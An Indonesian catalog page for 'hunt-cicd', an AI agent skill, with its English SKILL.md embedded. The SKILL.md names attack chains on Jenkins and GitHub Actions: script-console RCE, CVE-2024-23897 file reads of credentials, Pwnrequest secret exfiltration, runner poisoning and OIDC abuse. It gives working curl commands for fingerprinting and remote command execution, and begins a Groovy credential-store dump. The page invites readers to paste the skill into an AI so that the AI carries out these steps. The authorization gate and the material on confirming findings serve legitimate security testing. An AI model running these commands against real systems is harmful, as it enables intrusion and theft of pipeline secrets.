hunt-cicd
Fungsinya
Tool ini membantu menemukan celah keamanan pada sistem Continuous Integration dan Continuous Delivery (CI/CD) seperti Jenkins dan GitHub Actions. Tool ini mencari cara untuk mengakses informasi sensitif atau mengendalikan sistem tersebut secara tidak semestinya.
Kapan dipakai
- βSaat mengaudit keamanan server Jenkins.
- βSaat memeriksa keamanan workflow GitHub Actions.
- βUntuk memahami risiko dalam pipeline CI/CD.
Link skill
https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βCari kerentanan Jenkins pada 'example.com'β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Tool ini berinteraksi dengan sistem CI/CD untuk mengidentifikasi konfigurasi berbahaya atau celah yang sudah dikenal. Tool ini memeriksa apakah perintah bisa dijalankan tanpa izin atau apakah file sensitif bisa dibaca.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
β οΈ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-CICD β CI/CD Pipeline Security
Crown Jewel Targets
Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" β secret exfil from a fork PR with zero approval.
Highest-value findings:
- Jenkins Script Console β Groovy execution β full RCE β dump the credential store
- Jenkins CLI file read (CVE-2024-23897) β pre-auth
@/etc/passwdarg expansion β readsecret.key/credentials.xmlβ forge admin β RCE - GitHub Actions
pull_request_targetinjection (Pwnrequest) β fork PR controls${{ }}inside a privileged shell step β exfilGITHUB_TOKEN(oftencontents:write) and org secrets - Self-hosted runner poisoning β non-ephemeral runner on a public repo executes a fork PR's build β attacker code runs on the runner host β persistence + secret theft
- OIDC trust-policy abuse β over-broad
subclaim wildcard in an AWS IAM role trust policy β any workflow in the org assumes a privileged cloud role - Terraform state leakage β
*.tfstatein public S3/GCS/Blob β plaintext infra creds, DB passwords, private keys - Runner token / artifact / log leakage β register attacker runner, or harvest secrets printed before
::add-mask::
"It-Didn't-Happen-Without-Proof" Gate (Read First)
CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:
- A login page is not an RCE. A reachable
/scriptURL that returns a Jenkins login or403is not an unauthenticated script console. Only an actualscriptTextPOST returning your command's output counts. - A
pull_request_targetworkflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR. - Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh β a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
- A
.tfstateHTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) β manytfstatefiles contain only resource IDs and outputs, no secrets.
Phase 1 β Jenkins: Detection, Script Console, CVE-2024-23897
# Fingerprint β the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
Unauthenticated script console β RCE (only if the POST returns output):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible β do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
Dump the credential store (Groovy decrypts secrets the UI masks):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
β¦
Pertanyaan umum
Apa itu CI/CD?
CI/CD adalah singkatan dari Continuous Integration dan Continuous Delivery. Ini adalah praktik untuk mengotomatisasi proses build, pengujian, dan deploy perangkat lunak. Anggap saja seperti jalur perakitan untuk kode.
Apa itu RCE?
RCE adalah singkatan dari Remote Code Execution. Ini adalah celah keamanan serius yang memungkinkan penyerang menjalankan perintah di sistem orang lain.
Mengapa saya perlu izin untuk menggunakan tool ini?
Tool ini bisa dipakai untuk menemukan kelemahan keamanan. Menggunakannya tanpa izin pada sistem yang bukan milik Anda itu ilegal dan tidak etis. Ibaratnya seperti memakai kunci cadangan tanpa wewenang.
Detail
Popularitas
- Bintang GitHub
- 48k
- Peringkat
- #4862
- Lisensi
- MIT
- Diperbarui
- 15/10/2026
Komentar
- β¦
Skill lain dari repositori ini
00-andruia-consultant
48kMembantu agent Anda memulai atau meningkatkan proyek AI. Agent menganalisis kode, menyarankan tools, dan membuat rencana aksi dalam bahasa Spanyol.
007
48kMemungkinkan agent Anda melakukan audit keamanan dan threat modeling. Berguna untuk melindungi proyek dari serangan dan celah keamanan.
10-andruia-skill-smith
48kMembantu agent Anda membuat atau meningkatkan tools AI. Agent mendefinisikan cara kerja tools, menulis dokumentasi, dan memvalidasi strukturnya.
20-andruia-niche-intelligence
48kMemungkinkan agent Anda membuat ringkasan industri tertentu. Berguna untuk memahami konteks, aturan, pola penggunaan, dan risiko proyek dengan sumber terpercaya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.